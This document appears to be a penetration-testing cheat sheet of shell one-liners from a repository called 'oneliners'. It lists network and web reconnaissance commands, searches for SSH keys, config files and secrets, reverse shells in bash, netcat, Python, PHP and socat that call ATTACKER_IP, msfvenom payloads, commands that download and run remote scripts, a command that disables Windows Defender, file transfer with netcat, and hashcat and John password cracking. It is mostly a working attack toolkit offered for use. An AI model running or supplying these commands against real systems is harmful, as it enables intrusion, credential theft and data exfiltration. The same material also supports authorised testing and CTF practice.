// Oneliners

git clone https://github.com/ledksv/oneliners.git

nmap -sV -sC -p- --min-rate 5000 -oN nmap.txt TARGET

nmap -sU --top-ports 200 TARGET

nmap --script=vuln TARGET

nmap -p- -T4 TARGET | grep open

masscan -p1-65535 TARGET --rate=1000

gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50 -o gobuster.txt

ffuf -u http://TARGET/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302

ffuf -u http://TARGET -H 'Host: FUZZ.TARGET' -w subdomains.txt -fs 0

curl -s http://TARGET/robots.txt | grep -v '#'

curl -I http://TARGET

whatweb http://TARGET

nikto -h http://TARGET -o nikto.txt

enum4linux -a TARGET 2>/dev/null | tee enum4linux.txt

smbmap -H TARGET

smbclient -L //TARGET -N

showmount -e TARGET

snmpwalk -c public -v1 TARGET 2>/dev/null

ldapsearch -x -H ldap://TARGET -b 'dc=domain,dc=com' 2>/dev/null

dig TARGET ANY +noall +answer

dig axfr @TARGET domain.com

theHarvester -d domain.com -b all 2>/dev/null

wpscan --url http://TARGET -e u,ap,at --plugins-detection aggressive

cewl http://TARGET -m 5 -w custom_wordlist.txt

find / -perm -4000 -type f 2>/dev/null

find / -writable -type f 2>/dev/null | grep -v proc

find / -name id_rsa -o -name '*.pem' -o -name '*.key' 2>/dev/null

find / -name 'wp-config.php' -o -name 'config.php' -o -name '.env' 2>/dev/null

find / -name '*.conf' -exec grep -l 'password' {} \; 2>/dev/null

find / -mmin -10 -type f 2>/dev/null | grep -v proc

find / -name 'flag*' -o -name 'user.txt' -o -name 'root.txt' 2>/dev/null

grep -r 'password' /var/www/html/ 2>/dev/null

cat ~/.bash_history | grep -i 'pass\|ssh\|mysql\|ftp'

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

nc -e /bin/bash ATTACKER_IP 4444

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])'

php -r '$s=fsockopen("ATTACKER_IP",4444);$proc=proc_open("/bin/sh",array(0=>$s,1=>$s,2=>$s),$pipes);'

socat TCP:ATTACKER_IP:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf > shell.elf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe

python3 -c 'import pty;pty.spawn("/bin/bash")'

# Step 1 — on target
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Step 2 — Ctrl+Z then on your machine
stty raw -echo; fg

# Step 3 — back in shell
export TERM=xterm
export SHELL=bash

sudo -l

find / -perm -4000 -type f 2>/dev/null | xargs ls -la

getcap -r / 2>/dev/null

cat /etc/crontab && ls -la /etc/cron*

ps aux | grep root | grep -v grep

ss -tulpn | grep LISTEN

uname -a && cat /etc/os-release

cat /proc/1/cgroup | grep -qi docker && echo IN_DOCKER

env | grep -i 'pass\|key\|token\|secret'

find / -name '*.sh' -writable 2>/dev/null

curl -s http://ATTACKER_IP:8080/linpeas.sh | bash

wget -q http://ATTACKER_IP:8080/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy

whoami /all

net user && net localgroup administrators

systeminfo | findstr /i "os name\|os version\|hotfix"

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')"

certutil -urlcache -f http://ATTACKER_IP/shell.exe C:\Windows\Temp\shell.exe

reg query HKLM /f password /t REG_SZ /s 2>nul

powershell -ep bypass -c "Set-MpPreference -DisableRealtimeMonitoring $true"

ip a | grep 'inet ' | awk '{print $2}'

ip route | grep -v default

arp -a | grep -v incomplete

for i in $(seq 1 254); do (ping -c1 -W1 192.168.1.$i >/dev/null && echo 192.168.1.$i) & done; wait

for p in 21 22 23 25 53 80 443 445 3306 3389 8080; do (echo >/dev/tcp/TARGET/$p) 2>/dev/null && echo $p open; done

tcpdump -i eth0 port 80 -A

tcpdump -i eth0 'port 445 or port 139' -w smb.pcap

python3 -m http.server 8080

wget http://ATTACKER_IP:8080/file -O /tmp/file

curl http://ATTACKER_IP:8080/file -o /tmp/file

scp file.txt user@TARGET:/tmp/

# Receiver (target):
nc -lvnp 4444 > received_file

# Sender (attacker):
nc TARGET 4444 < file_to_send

base64 -w 0 file.sh

echo 'BASE64STRING' | base64 -d > file.sh

echo -n 'password' | md5sum

echo -n 'password' | sha256sum

hash-identifier 'HASH_VALUE'

hashcat -m 0 hash.txt rockyou.txt --force

hashcat -m 1000 hash.txt rockyou.txt --force

hashcat -m 1800 hash.txt rockyou.txt --force

hashcat -m 13100 kerb.txt rockyou.txt --force

hashcat -m 18200 asrep.txt rockyou.txt --force

john --wordlist=rockyou.txt hash.txt

unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt --wordlist=rockyou.txt

ssh2john id_rsa > id_rsa.hash && john id_rsa.hash --wordlist=rockyou.txt